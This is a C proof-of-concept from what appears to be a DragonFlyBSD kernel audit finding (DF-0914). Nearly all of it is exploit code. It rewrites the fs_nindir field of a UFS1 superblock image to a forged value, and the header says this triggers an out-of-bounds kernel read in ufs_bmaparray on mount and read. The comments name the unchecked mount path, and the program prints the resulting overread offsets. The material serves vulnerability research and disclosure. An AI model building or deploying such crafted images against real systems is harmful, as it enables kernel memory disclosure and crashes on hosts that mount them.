DragonFlyBSD Kernel Audit
DF-0914 / craft_img.c
← back to finding ↓ download raw
/*
 * craft_img.c - DF-0914 UFS superblock fs_nindir patcher.
 *
 * Same primitive as DF-0894: reads a base UFS1 image (produced by `newfs`),
 * patches the on-disk `fs_nindir` field in the superblock to a forged (larger)
 * value. The difference for DF-0914 is the EXPLOITATION PATH: the forged
 * fs_nindir drives an OOB READ in `ufs_bmaparray` (ufs_bmap.c:221) on the
 * READ/seek path, rather than an OOB WRITE in `ffs_balloc` (DF-0894).
 *
 * The on-disk superblock lives at byte offset SBOFF=8192 (fs.h:60
 * BBOFF+BBSIZE). Within `struct fs` (sys/vfs/ufs/fs.h), `fs_nindir` is at
 * byte offset 116. The mount path ffs_vfsops.c:642-646 validates only
 * fs_magic and the fs_bsize range; fs_nindir is copied verbatim into
 * `ump->um_nindir` at ffs_vfsops.c:729 with no check that it equals
 * `fs_bsize / sizeof(ufs_daddr_t)`.
 *
 * Usage: craft_img <img> [<new_nindir>]
 *   new_nindir defaults to 8192 (any value > fs_bsize/4 triggers OOB).
 *
 * Build: cc -o craft_img craft_img.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#define SBOFF 8192          /* on-disk superblock offset (fs.h BBOFF+BBSIZE) */
#define OFF_FS_BSIZE  48    /* offsetof(struct fs, fs_bsize)  */
#define OFF_FS_FSIZE  52
#define OFF_FS_NINDIR 116   /* offsetof(struct fs, fs_nindir) */
#define OFF_FS_INOPB  120
#define OFF_FS_MAGIC  1372  /* offsetof(struct fs, fs_magic)  */

static uint32_t rd32(const unsigned char *p){
    return (uint32_t)p[0] | ((uint32_t)p[1]<<8) |
           ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24);
}
static void wr32(unsigned char *p, uint32_t v){
    p[0]=(unsigned char)(v&0xff); p[1]=(unsigned char)((v>>8)&0xff);
    p[2]=(unsigned char)((v>>16)&0xff); p[3]=(unsigned char)((v>>24)&0xff);
}

int main(int argc, char **argv){
    if (argc < 2) {
        fprintf(stderr, "usage: %s <img> [<new_nindir>]\n", argv[0]);
        return 2;
    }
    const char *img = argv[1];
    uint32_t new_nindir = (argc >= 3) ? (uint32_t)strtoul(argv[2], NULL, 0) : 8192;

    int f = open(img, O_RDWR);
    if (f < 0) { perror("open"); return 2; }

    unsigned char sb[4096];
    if (lseek(f, SBOFF, SEEK_SET) != SBOFF) { perror("lseek"); return 2; }
    if (read(f, sb, sizeof(sb)) != (ssize_t)sizeof(sb)) { perror("read"); return 2; }

    uint32_t magic  = rd32(sb + OFF_FS_MAGIC);
    uint32_t bsize  = rd32(sb + OFF_FS_BSIZE);
    uint32_t fsize  = rd32(sb + OFF_FS_FSIZE);
    uint32_t nindir = rd32(sb + OFF_FS_NINDIR);
    uint32_t inopb  = rd32(sb + OFF_FS_INOPB);

    printf("=== DF-0914 superblock patcher (ufs_bmaparray OOB read) ===\n");
    printf("image:        %s\n", img);
    printf("fs_magic:     0x%x (expect 0x011954)\n", magic);
    printf("fs_bsize:     %u  -> indirect-block buffer = %u bytes\n",
           bsize, bsize);
    printf("fs_fsize:     %u\n", fsize);
    printf("fs_inopb:     %u\n", inopb);
    printf("fs_nindir:    %u (CORRECT = fs_bsize/sizeof(ufs_daddr_t) = %u)\n",
           nindir, bsize / 4);
    printf("entries/buf:  %u (= fs_bsize/4 = bap[] valid indices 0..%u)\n",
           bsize / 4, bsize / 4 - 1);

    if (magic != 0x011954) {
        fprintf(stderr, "ERROR: not a UFS1/FFS superblock (magic mismatch)\n");
        close(f);
        return 2;
    }

    printf("\n--- patching fs_nindir: %u -> %u ---\n", nindir, new_nindir);
    wr32(sb + OFF_FS_NINDIR, new_nindir);

    uint32_t entries = bsize / 4;
    uint32_t max_in_off = new_nindir - 1;
    uint32_t oob_bytes_past = (max_in_off + 1) * 4 - bsize;
    printf("forged MNINDIR(ump)   = %u\n", new_nindir);
    printf("valid bap[] indices    = 0..%u  (%u entries)\n", entries - 1, entries);
    printf("forged in_off range    = 0..%u\n", max_in_off);
    printf("max OOB index          = bap[%u] = bp->b_data + %u\n",
           max_in_off, max_in_off * 4);
    printf("max OOB past buffer    = %u bytes (~%u KB)\n",
           oob_bytes_past, oob_bytes_past / 1024);
    printf("first OOB index        = bap[%u] = bp->b_data + %u  (buffer is %u)\n",
           entries, entries * 4, bsize);

    if (lseek(f, SBOFF + OFF_FS_NINDIR, SEEK_SET) != (off_t)(SBOFF + OFF_FS_NINDIR)) {
        perror("lseek2"); close(f); return 2;
    }
    if (write(f, sb + OFF_FS_NINDIR, 4) != 4) { perror("write"); close(f); return 2; }
    close(f);

    printf("\nOK: fs_nindir patched in %s\n", img);
    return 0;
}